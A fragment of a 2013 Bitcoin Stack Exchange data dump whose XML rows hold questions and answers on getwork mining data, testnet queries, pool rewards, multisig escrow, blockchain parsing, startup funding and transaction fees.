  <row Id="11682" PostTypeId="2" ParentId="11452" CreationDate="2013-06-17T15:26:10.680" Score="5" Body="&lt;p&gt;Since we have quite a few questions about mining I took the liberty of &lt;a href=&quot;http://bitcoinstats.com/network/mining/manual&quot; rel=&quot;nofollow&quot;&gt;creating a tool&lt;/a&gt; that demonstrates how to get from the &lt;code&gt;getwork&lt;/code&gt; to the actual hashes and testing them against the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is simply the reverse direction of mining, so let's get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All parameters are taken from the &lt;a href=&quot;https://blockchain.info/block-index/138942/00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d&quot; rel=&quot;nofollow&quot;&gt;actual block&lt;/a&gt;.&#xA;This is a version 1 block so we start with the &lt;code&gt;01000000&lt;/code&gt; (1 little&#xA;endian). This is followed with the 32 byte prev_hash, again in little&#xA;endian:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000000008a3a41b85b8b29ad444def299fee21793cd8b9e567eab02cd81&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;81cd02ab7e569e8bcd9317e2fe99f2de44d49ab2b8851ba4a308000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;same goes for the merkle root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2b12fcf1b09288fcaff797d71e950e71ae42b91e8bdb2304758dfcffc2b620e3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e320b6c2fffc8d750423db8b1eb942ae710e951ed797f7affc8892b0f1fc122b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next comes the timestamp. &lt;code&gt;1305998791&lt;/code&gt; (&lt;code&gt;4dd7f5c7&lt;/code&gt; in big endian) is&#xA;&lt;code&gt;c7f5d74d&lt;/code&gt; in little endian. Then the bits (encoded difficulty)&#xA;&lt;code&gt;440711666&lt;/code&gt; is &lt;code&gt;1a44b9f2&lt;/code&gt; in big endian and &lt;code&gt;f2b9441a&lt;/code&gt; in little endian. And&#xA;finally the nonce. Since you are asking for the getwork this is the&#xA;part that your miner will have to find, hence we just mark it out with&#xA;0 (&lt;code&gt;00000000&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting it all together we have a data field of the getwork request&#xA;that is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000081cd02ab7e569e8bcd9317e2fe99f2de44d49ab2b8851ba4a308000000000000e320b6c2fffc8d750423db8b1eb942ae710e951ed797f7affc8892b0f1fc122bc7f5d74df2b9441a00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then getwork does a strange thing: it chunks the header up into groups&#xA;of 4 byte and switches the endianness. So that this string becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000001ab02cd818b9e567ee21793cddef299feb29ad444a41b85b8000008a300000000c2b620e3758dfcff8bdb2304ae42b91e1e950e71aff797d7b09288fc2b12fcf14dd7f5c71a44b9f200000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is exactly 80 bytes in length and corresponds to the data field&#xA;(without padding). The getwork however includes some padding to become&#xA;two SHA-256 blocks of length 64 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The padding is discarded by the miner, but for completeness:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next in the getwork we have the midstate. This is simply first 64&#xA;bytes of the header with a partially applied first round of hashing,&#xA;hence we can recover it from the block header (or data):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;93c524951367c505ba69e616a010282d376ee807daa9562f69ce5bcd2dda787a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The getwork also includes an additional field that keeps some internal&#xA;state from the SHA-256 algorithm, the hash1 field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is always constant, and is pretty useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final field in our reconstruction of the getwork request is the&#xA;target. This is the one field we cannot actually reconstruct as it&#xA;depends on the pool setting that provided the work. It is likely to be&#xA;difficulty 1, hence the field itself is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000FFFF0000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is a long, below which the found hash has to be. Due to this&#xA;being Bitcoin it is again little endian and becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000000000000000000000000000000000000000000000ffff00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entire reconstructed getwork should look something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;midstate&quot; : &quot;bfc1dbf82dd6335830eb42a5258fb7ceb4c566ed2ae7ec4ed1d23bd9dbbff68f&quot;,&#xA;  &quot;data&quot; : &quot;00000001ab02cd818b9e567ee21793cddef299feb29ad444a41b85b8000008a300000000c2b620e3758dfcff8bdb2304ae42b91e1e950e71aff797d7b09288fc2b12fcf14dd7f5c71a44b9f200000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot;,&#xA;  &quot;hash1&quot; : &quot;00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&quot;,&#xA;  &quot;target&quot; : &quot;0000000000000000000000000000000000000000000000000000ffff00000000&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To see how a miner finds a block from these parameters just enter them in the &lt;a href=&quot;http://bitcoinstats.com/network/mining/manual?data=00000001ab02cd818b9e567ee21793cddef299feb29ad444a41b85b8000008a300000000c2b620e3758dfcff8bdb2304ae42b91e1e950e71aff797d7b09288fc2b12fcf14dd7f5c71a44b9f200000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&amp;amp;target=0000000000000000000000000000000000000000000000000000FFFF00000000&amp;amp;nonce=9546a142&quot; rel=&quot;nofollow&quot;&gt;manual miner&lt;/a&gt; I created. Notice that if we fill in the nonce that is in the block (&lt;code&gt;2504433986&lt;/code&gt; or &lt;code&gt;9546a142&lt;/code&gt; in its hex representation), we indeed get a block of the required difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Frank Buss contacted me for a correction: the midstate I posted above was wrong.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-01-25T11:56:02.433" LastActivityDate="2014-01-25T11:56:02.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11683" PostTypeId="2" ParentId="11681" CreationDate="2013-06-17T16:00:48.823" Score="4" Body="&lt;p&gt;Blockchain.info does not track the testnet, but blockexplorer.com does. In fact the API you're using was originally from blockexplorer.com, and blockchain.info simply adopted it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget -O - http://blockexplorer.com/testnet/q/getblockcount 2&amp;gt; /dev/null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or shorter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl http://blockexplorer.com/testnet/q/getblockcount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-17T16:00:48.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11684" PostTypeId="2" ParentId="11678" CreationDate="2013-06-17T16:03:43.133" Score="1" Body="&lt;p&gt;Depends on which link you want to hide. If you do not want observers to be able to tell that you and your friend traded then take option 1. If you want to later hide what you are doing with the coins, but do not care whether people find out that you and your friend traded then go for option 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could of course do both but then you'd pay the mixer twice or at least pay the transaction fees twice.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-06-17T16:03:43.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11685" PostTypeId="2" ParentId="10731" CreationDate="2013-06-17T16:55:13.260" Score="12" Body="&lt;p&gt;The size of a pool, its total hashrate and the distribution of hashrate between bigger and smaller miners, have no effect on the rewards you, mining with a specific hashrate, will obtain on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total block rewards collected by the pool are proportional to the number of blocks it finds per time unit, which is proportional on average to its total hashrate. In every fair pool reward method, the rewards you get on average are exactly proportional to your part in the total work done by the pool. If you mine in a pool twice as large, the pool will collect twice as much rewards but your share in them will be cut by half, meaning you get the same on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, all fair reward methods give miners on average (1-f)pB per share they submit, with f being the fee, p the probability that a share will be a block, and B the block reward. This amount does not depend on anything else, in particular not on the pool size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does differ according to the size of the pool is the variance in the rewards (how much they vary from the average due to randomness) and the maturity time (how long it takes to obtain the rewards). It is always the case that a bigger pool will have less variance and maturity time, and thus for a miner of any size it is better to mine for a pool as large as possible (however, it is better yet to mine for multiple pools simultaneously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One point where a miner needs to optimize based on his own size is the share difficulty; smaller miners will want easier shares, so they should make sure their pool offers it. While bigger miners should work on more difficult shares to make sure the pool server isn't overloaded.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-06-17T16:55:13.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11686" PostTypeId="2" ParentId="9646" CreationDate="2013-06-17T17:08:05.097" Score="1" Body="&lt;p&gt;I don't know how a 1 of n multisig transaction would affect the balance display of individual wallet clients, but because only one of the two addresses must sign, the coins effectively belong to both until one spends them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explicitly address your bullets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A multisig output can be used for escrow, but it only affects the multisig output itself.  Because this output only needs signature of one, it doesn't make for effective escrow.  2 of 3 outputs with two parties and an arbiter make for good simple escrow.&lt;/li&gt;&#xA;&lt;li&gt;In this case, either address can spend this output&lt;/li&gt;&#xA;&lt;li&gt;In this case, the funds are 'freed' when either party decides to spend them.  In a 2 of 3 escrow situation, an unsigned transaction is created to spend the multisig output and then two of the addresses must sign that transaction individually before it becomes valid.  Broadcasting the fully-signed transaction frees the coins by sending them to whatever output was specified, which could very well just be a regular address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5608" LastActivityDate="2013-06-17T17:08:05.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11687" PostTypeId="1" AcceptedAnswerId="11697" CreationDate="2013-06-17T17:20:20.730" Score="19" ViewCount="15745" Body="&lt;p&gt;I need to generate a SQL database (preferably SQLite3) of every transaction that has occurred in the blockchain. Is there an efficient way to do this using open-source software? I'm attempting to do it myself using a Haskell script that makes system calls to bitcoind but I'm having trouble making it sufficiently fast.&lt;/p&gt;&#xA;" OwnerUserId="5306" LastEditorUserId="5406" LastEditDate="2014-02-09T10:00:16.893" LastActivityDate="2019-01-29T14:03:00.200" Title="Reliable, efficient way to parse the blockchain into a SQL database" Tags="|blockchain|raw-data|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11688" PostTypeId="2" ParentId="11324" CreationDate="2013-06-17T17:44:18.140" Score="0" Body="&lt;p&gt;I found a SQL database of all Mt. Gox transactions (updated every few hours) along with the accompanying Python scripts &lt;a href=&quot;http://cahier2.ww7.be/bitcoinmirror/phantomcircuit/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5306" LastActivityDate="2013-06-17T17:44:18.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11690" PostTypeId="2" ParentId="286" CreationDate="2013-06-18T02:52:31.370" Score="1" Body="&lt;p&gt;I looked at the suggestions. Best to meet people that pay a decent wage....don't work for  pennys....make a website and offer your service. But don't work for nickel and dimes...hold to your integrity. If they want workers for a penny a day i am sure they will find them and a lot of them....there is hell ..stay out of hell.&#xA;Google sites have free websites.&lt;a href=&quot;http://www.google.com/services/&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/services/&lt;/a&gt; Then you can offer you service or grow your service.&lt;/p&gt;&#xA;" OwnerUserId="5611" LastEditorUserId="5611" LastEditDate="2013-06-18T03:03:52.893" LastActivityDate="2013-06-18T03:03:52.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11691" PostTypeId="1" CreationDate="2013-06-18T03:01:05.973" Score="2" ViewCount="85" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=24784.msg1308187#msg1308187&quot; rel=&quot;nofollow&quot;&gt;In this thread, Luke Jr mentioned Collective Transactions&lt;/a&gt; would be a way for clients to increase anonymity when issuing transactions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How would such an implementation work?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Please provide technical details or references as available)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-09-06T22:45:40.640" Title="How would a P2P &quot;Collective Transaction&quot; be implemented (to increase privacy)" Tags="|transactions|client|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11693" PostTypeId="2" ParentId="286" CreationDate="2013-06-18T07:35:50.637" Score="0" Body="&lt;p&gt;You can try these sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinjobs.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinjobs.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bittask.com/&quot; rel=&quot;nofollow&quot;&gt;http://bittask.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitgigs.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitgigs.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;" OwnerUserId="4842" LastEditorUserId="196" LastEditDate="2013-06-18T08:04:14.860" LastActivityDate="2013-06-18T08:04:14.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11694" PostTypeId="2" ParentId="286" CreationDate="2013-06-18T08:06:23.663" Score="1" Body="&lt;p&gt;Right now, I'd say the best place to do this is the Marketplace forum of bitcointalk: &lt;a href=&quot;https://bitcointalk.org/index.php?board=5.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?board=5.0&lt;/a&gt; - be forewarned that to use this forum, you need to have created a bitcointalk account, post five posts in the newbie forum, and stay logged in for four hours.  Until then, you're stuck in the Newbie forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after that, there are a lot of people offering services on that site, so if you want to join them, feel free.  A hint to make those four hours go by faster: you need to be logged into the forum and on your computer, but you don't need to be actively browsing the forum that whole time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just talking about a one off jobs, this is probably your best bet.  If you want to actually build something that appeals to a large amount of people in the bitcoin community, you might want to crowd fund it using Bitcoinstarter: &lt;a href=&quot;https://bitcoinstarter.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinstarter.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2013-06-18T08:06:23.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11695" PostTypeId="1" AcceptedAnswerId="11745" CreationDate="2013-06-18T08:15:39.583" Score="8" ViewCount="1657" Body="&lt;p&gt;There are few Bitcoin &quot;stock exchanges&quot; trading mainly BTC mining company pass-through shares, like &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://btct.co/&quot; rel=&quot;nofollow&quot;&gt;https://btct.co/&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitfunder.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitfunder.com/&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We are planning to get investment for our Bitcoin-related business. Instead of traditional Silicon Valley-style venture capital investment, we are investigating the opportunity of doing &quot;Bitcoin IPO&quot; and liquidate some of the company shares through pass-through exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are looking for 0,7M - 1,5M USD investment. This money would be spent to expand and internationalize our business and enable Bitcoin interaction for more people in across the world. We really need to convert the investment to fiat currency in some point, as for marketing efforts (Google ads, etc.) are paid in fiat currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am looking for advice on what would be pros and cons of both options: VC investment vs. Bitcoin crowdfunding. We are pretty sure that doing a Bitcoin IPO first would close the door for VC investment, as our stock and IPR would get tainted with nameless Bitcoin investors of whose shares could not be bought back easily (am I correct?). However, we are also keen on doing a Bitcoin IPO because that way we could have more control over the company (not giving away voting rights) and steer the company to the direction more beneficial to the Bitcoin ecosystem instead of a 4-5 years exit plan. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am mainly looking advice on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Valuation in both scenarios. We believe we could get higher valuation through a Bitcoin IPO. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How much goodwill Bitcoin fans and current Bitcoin millionaires have to build the ecosystem&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Credibility: a VC investment would give us more real-world credibility&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin is hot in old-fashioned VC industry right now. We have been contacted by several world-class VCs by themselves to discuss with us.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The legal implications: what is the relationship between pass-through shares and real shares? Should we move to live underground after a Bitcoin IPO to avoid possible later legal mess?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should we found the company in some tax haven where laws are more relaxed (e.g. Seychelles)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It seems that the Bitcoin stock exchange industry is little shady, and it's hard to trust pseudonyms. Is it still too early to go there, as it might be that stock exchanges will be crashing within a year, like fiat money exchanges have, and we end up with a complete mess and lost information on shareholders, dividends and ownership?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5614" LastEditorUserId="4171" LastEditDate="2013-07-17T07:30:52.953" LastActivityDate="2021-06-22T15:59:59.320" Title="Traditional VC investment vs. bitcoin IPO" Tags="|exchanges|economic-theory|legal|trust|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11696" PostTypeId="1" CreationDate="2013-06-18T08:25:11.903" Score="0" ViewCount="239" Body="&lt;p&gt;What should I be aware when I want distribute say 0.0001 bitcoin to 50 bitcoin wallets.&#xA;I this be done with one transaction? what are the implication of transaction fees?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my students to experience the bitcoin phenomena.  &lt;/p&gt;&#xA;" OwnerUserId="1473" LastActivityDate="2013-06-19T00:20:45.183" Title="I want to distribute small amount of bitcoins" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11697" PostTypeId="2" ParentId="11687" CreationDate="2013-06-18T08:29:38.367" Score="7" Body="&lt;p&gt;I created a &lt;a href=&quot;https://github.com/mcdee/blockparser&quot; rel=&quot;noreferrer&quot;&gt;fork of blockparser&lt;/a&gt; with a 'csvdump' command that will generate a details dump of the blockchain in CSV format.  There are also some support scripts in that repository for creation, population and periodic update of a PostgreSQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that the resultant database is pretty large; you might want to consider PostgreSQL over SQLite for this one.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-18T08:29:38.367" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="11698" PostTypeId="2" ParentId="11695" CreationDate="2013-06-18T08:39:59.427" Score="4" Body="&lt;p&gt;This is ultimately a question where you may have to choose between liquidity and control.  Traditional VC investments are a lot more liquid, in other words, they likely have a lot more money to offer, than any bitcoin stock market.  At the current exchange rate, the amount you'd like to raise is equivalent to roughly 15,000 bitcoins (on the 1.5 million end of the the range, anyway).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Localbitcoins - you're a popular enough exchange that you may very well be able to raise that much in a bitcoin IPO.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine it'd be a lot easier with a traditional VC to make that kind of money though, and that would be in fiat already for the marketing efforts that you're planning.  But the catch is that the money the VC provides will likely have strings attached, they'll want some control of your business in return for that kind of money, or as you said, the 4 - 5 year exit plan.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other issue that you have to consider here is this: what are you looking for in return for this money?  Are you just thinking of the money going towards shares of stock, as in a bitcoin exchange?  Or do you want business advice for your business as well?  A bitcoin exchange can definitely provide liquidity, how much, I don't know.  But if you want business advice, then you are likely better off with a traditional VC since they will be able to provide that for you.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2013-06-18T08:39:59.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11699" PostTypeId="2" ParentId="10863" CreationDate="2013-06-18T08:55:04.923" Score="-2" Body="&lt;p&gt;Armory already supports donating with a syntax like this.  The syntax is as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:1ArmoryXcfq7TnCSuZa9fQjRYwJ4bkRKfv?amount=1.0&amp;amp;label=Armory%20Developers&amp;amp;message=Donation%20to%20Armory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinarmory.com/&lt;/a&gt; for the reference of where I got this from, it's at the bottom of the page before the QR code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's just an http link where it is using bitcoin: as a prefix similar to how email links are setup, it has the bitcoin amount, the label, and the the address all pretty clearly labeled here.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="6218" LastEditDate="2017-10-30T18:48:14.207" LastActivityDate="2017-10-30T18:48:14.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11700" PostTypeId="2" ParentId="11696" CreationDate="2013-06-18T08:56:43.937" Score="1" Body="&lt;p&gt;I read this on bitcoinfees.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of the outputs (including any change) of your transaction are less than 0.01 BTC, then a fee of 0.0005 BTC is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is called bitcoin dust. Smaller transactions as you intend todo comes with a fee.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2013-06-18T08:56:43.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11701" PostTypeId="2" ParentId="11696" CreationDate="2013-06-18T09:32:12.550" Score="0" Body="&lt;p&gt;Well, I don't see the point in giving each student 0.000002 bitcoin, they cannot do anything with it as it is less than the transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend you to split maybe 1 BTC or 0.5 BTC amongst your student, to that they can actually use the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the practical side of the question, this can (and should) be done in a single transaction to reduce data overhead. Bitcoin allows to specify multiple inputs and outputs in a transaction, so you can take some bitcoins from your wallet and send some amount to 50 different addresses. However though, I think the original Qt client does not support this. (&lt;strong&gt;EDIT&lt;/strong&gt;: As julian-goldsmith pointed out in his &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11696/i-want-to-distribute-small-amount-of-bitcoins/11701?noredirect=1#comment15265_11701&quot;&gt;comment&lt;/a&gt;, it does seem to have this functionality after all.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could consider using a more advanced wallet like Armory (I have no experience with MultiBit or Electrum, maybe they can do the job as well). I think the web-wallet on &lt;a href=&quot;http://blockchain.info/wallet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info&lt;/a&gt; supports multiple outputs as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as the outputs are sufficiently big, like Filip says bigger than 0.01 BTC, you will not have to pay a fee, but of course you always can to support miners.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-06-19T00:20:45.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11702" PostTypeId="2" ParentId="11695" CreationDate="2013-06-18T09:49:46.533" Score="3" Body="&lt;p&gt;I don't understand what kind of advice you expect to receive without providing even a hint about what is it that you are trying to develop. How can you possibly get any &quot;fans&quot; without explaining the idea.&#xA;0,7M - 1,5M USD investment???? Nothing in this industry costs that much, unless you spend most of that on massive business promotion. But, if that's the case you do not need to get all the funds at once, from the start, especially if the idea is any good.&lt;/p&gt;&#xA;" OwnerUserId="5616" LastActivityDate="2013-06-18T09:49:46.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11704" PostTypeId="2" ParentId="11695" CreationDate="2013-06-18T12:08:22.893" Score="2" Body="&lt;p&gt;I recommend &lt;a href=&quot;http://mpex.co&quot; rel=&quot;nofollow&quot;&gt;http://mpex.co&lt;/a&gt; , because unlike other exchanges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It had shown (most recently for S.MG) it is capable to raise the amount of money you need quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are entering into PGP signed contract with real person who runs it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the law questions, you need to see lawyer in any case. Most of the. bitcoin stocks currently listed are bitcoin economy enterprises with little footprint in fiat economy, thus they can get away with staying in the gray zone. If your business allows this, you can do likewise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Maybe you can hire as a consultant someone who is experienced in murky waters of bitcoin finance and has proven reliable service. Make proper agreement with incentives for things to go smoothly. I'd like to recommend myself based on CoinBr.com service which is running since October already.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastEditorUserId="1545" LastEditDate="2013-06-18T20:06:44.510" LastActivityDate="2013-06-18T20:06:44.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11705" PostTypeId="1" CreationDate="2013-06-18T12:50:56.260" Score="-2" ViewCount="3625" Body="&lt;p&gt;In the upcoming months the difficulty on the chain will cause GPUs to be non profitable (or so I hear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all we can do now is mine with ASICs - and even then see returns after a YEAR?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will be the death of bitcoin .... If mining isn't profitable - no one mines - no one mines no coins generated and transactions fail ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are people thinking still trying to make rigs etc? Or am I completely mistaken?&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="1307" LastEditDate="2013-06-18T14:36:49.217" LastActivityDate="2013-06-18T20:12:16.110" Title="So... bitcoin is dying?" Tags="|difficulty|" AnswerCount="3" CommentCount="6" ClosedDate="2013-06-21T17:15:00.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="11707" PostTypeId="2" ParentId="11705" CreationDate="2013-06-18T13:41:41.937" Score="2" Body="&lt;p&gt;Bitcoin automatically adjusts difficulty every so often so if mining is not profitable then people will stop mining and the difficulty will drop, making mining profitable again.  Unless there is a sudden crash in mining power Bitcoin will tick along happily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is never going to be &lt;em&gt;wildly&lt;/em&gt; profitable, but the doomsday scenario you are suggesting is not going to happen.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-18T13:41:41.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11708" PostTypeId="1" CreationDate="2013-06-18T13:54:09.333" Score="4" ViewCount="488" Body="&lt;p&gt;I have head of the automatic bitcoin address generation feature for every transaction. I have done multiple transaction, but I still have the same addresses (I have two addresses). I would like to enable the automatic address generation feature. Where is it? I am using the original bitcoin-qt client.&lt;/p&gt;&#xA;" OwnerUserId="5619" LastActivityDate="2014-01-30T02:15:37.490" Title="Where is the bitcoin automatic address generation?" Tags="|bitcoin-core|address|privacy|random|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
